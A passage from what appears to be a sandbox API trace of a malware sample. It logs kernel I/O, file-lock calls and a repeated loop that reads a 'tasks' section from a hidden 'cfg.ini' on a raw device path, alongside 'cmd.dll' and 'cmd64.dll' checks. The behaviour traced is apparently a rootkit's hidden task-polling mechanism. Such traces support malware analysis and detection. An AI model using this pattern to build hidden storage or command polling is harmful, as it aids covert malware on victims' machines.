FastMutex=0xfffffa80027d3898) [0129.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.312] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.312] IdePortDispatch () returned 0x103 [0129.312] KeWaitForMutexObject () returned 0x0 [0129.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.312] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.312] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.312] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.313] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.313] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03a60 [0129.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.313] KeLeaveCriticalRegion () [0129.313] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.313] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.313] KeEnterCriticalRegion () [0129.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.313] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.313] KeLeaveCriticalRegion () [0129.313] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.313] KeEnterCriticalRegion () [0129.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.313] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.313] IdePortDispatch () returned 0x103 [0129.313] KeWaitForMutexObject () returned 0x0 [0129.313] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.313] KeLeaveCriticalRegion () [0129.313] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.313] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.313] KeEnterCriticalRegion () [0129.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.313] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd1000 [0129.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.313] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.313] IdePortDispatch () returned 0x103 [0129.314] KeWaitForMutexObject () returned 0x0 [0129.314] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.314] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.314] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.314] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.314] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.314] IdePortDispatch () returned 0x103 [0129.314] KeWaitForMutexObject () returned 0x0 [0129.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.314] KeLeaveCriticalRegion () [0129.314] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.315] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.315] KeEnterCriticalRegion () [0129.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.315] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.315] KeLeaveCriticalRegion () [0129.315] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.315] KeEnterCriticalRegion () [0129.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.315] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.315] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.315] KeLeaveCriticalRegion () [0129.315] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.315] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.315] KeEnterCriticalRegion () [0129.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.315] ExFreePoolWithTag (P=0xfffffa8003c03a60, Tag=0x0) [0129.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.315] KeLeaveCriticalRegion () [0129.315] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.315] ReleaseMutex (hMutex=0xf0) returned 1 [0129.315] Sleep (dwMilliseconds=0x927c0) [0129.336] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.336] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.336] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.336] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.336] KeEnterCriticalRegion () [0129.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.336] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.336] IdePortDispatch () returned 0x103 [0129.336] KeWaitForMutexObject () returned 0x0 [0129.336] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.336] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.336] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.336] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.336] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.336] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04010 [0129.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.336] KeLeaveCriticalRegion () [0129.336] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.337] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.337] KeEnterCriticalRegion () [0129.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.337] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.337] KeLeaveCriticalRegion () [0129.337] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.337] KeEnterCriticalRegion () [0129.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.337] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.337] IdePortDispatch () returned 0x103 [0129.337] KeWaitForMutexObject () returned 0x0 [0129.337] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.337] KeLeaveCriticalRegion () [0129.337] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.337] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.337] KeEnterCriticalRegion () [0129.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.337] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd6000 [0129.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.337] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.337] IdePortDispatch () returned 0x103 [0129.337] KeWaitForMutexObject () returned 0x0 [0129.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.338] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.338] IdePortDispatch () returned 0x103 [0129.338] KeWaitForMutexObject () returned 0x0 [0129.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.338] KeLeaveCriticalRegion () [0129.338] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.338] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.339] KeEnterCriticalRegion () [0129.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.339] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.339] KeLeaveCriticalRegion () [0129.339] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.339] KeEnterCriticalRegion () [0129.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.339] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.339] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.339] KeLeaveCriticalRegion () [0129.339] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.339] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.339] KeEnterCriticalRegion () [0129.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.339] ExFreePoolWithTag (P=0xfffffa8003c04010, Tag=0x0) [0129.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.339] KeLeaveCriticalRegion () [0129.339] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.339] ReleaseMutex (hMutex=0xf0) returned 1 [0129.339] Sleep (dwMilliseconds=0x927c0) [0129.355] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.355] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.355] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.355] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.355] KeEnterCriticalRegion () [0129.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.355] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.355] IdePortDispatch () returned 0x103 [0129.355] KeWaitForMutexObject () returned 0x0 [0129.356] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.356] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.356] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.356] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.356] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.356] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.356] KeLeaveCriticalRegion () [0129.356] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.356] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.356] KeEnterCriticalRegion () [0129.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.356] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.356] KeLeaveCriticalRegion () [0129.356] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.356] KeEnterCriticalRegion () [0129.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.356] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.356] IdePortDispatch () returned 0x103 [0129.356] KeWaitForMutexObject () returned 0x0 [0129.356] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.356] KeLeaveCriticalRegion () [0129.356] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.356] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.356] KeEnterCriticalRegion () [0129.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.357] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bdb000 [0129.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.357] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.357] IdePortDispatch () returned 0x103 [0129.357] KeWaitForMutexObject () returned 0x0 [0129.357] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.357] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.357] IdePortDispatch () returned 0x103 [0129.357] KeWaitForMutexObject () returned 0x0 [0129.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.357] KeLeaveCriticalRegion () [0129.357] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.358] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.358] KeEnterCriticalRegion () [0129.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.358] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.358] KeLeaveCriticalRegion () [0129.358] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.358] KeEnterCriticalRegion () [0129.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.358] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.358] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c046b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.358] KeLeaveCriticalRegion () [0129.358] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.358] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.358] KeEnterCriticalRegion () [0129.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.358] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.358] KeLeaveCriticalRegion () [0129.358] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.358] ReleaseMutex (hMutex=0xf0) returned 1 [0129.358] Sleep (dwMilliseconds=0x927c0) [0129.373] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.373] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.373] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.373] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.374] KeEnterCriticalRegion () [0129.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.374] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.374] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.374] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.374] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.374] IdePortDispatch () returned 0x103 [0129.374] KeWaitForMutexObject () returned 0x0 [0129.374] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.374] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.374] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.374] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.374] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.374] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c045f0 [0129.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.374] KeLeaveCriticalRegion () [0129.374] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.374] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.374] KeEnterCriticalRegion () [0129.374] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.374] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.374] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.374] KeLeaveCriticalRegion () [0129.374] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.374] KeEnterCriticalRegion () [0129.374] ExAcquireFastMutexUnsafe (in: 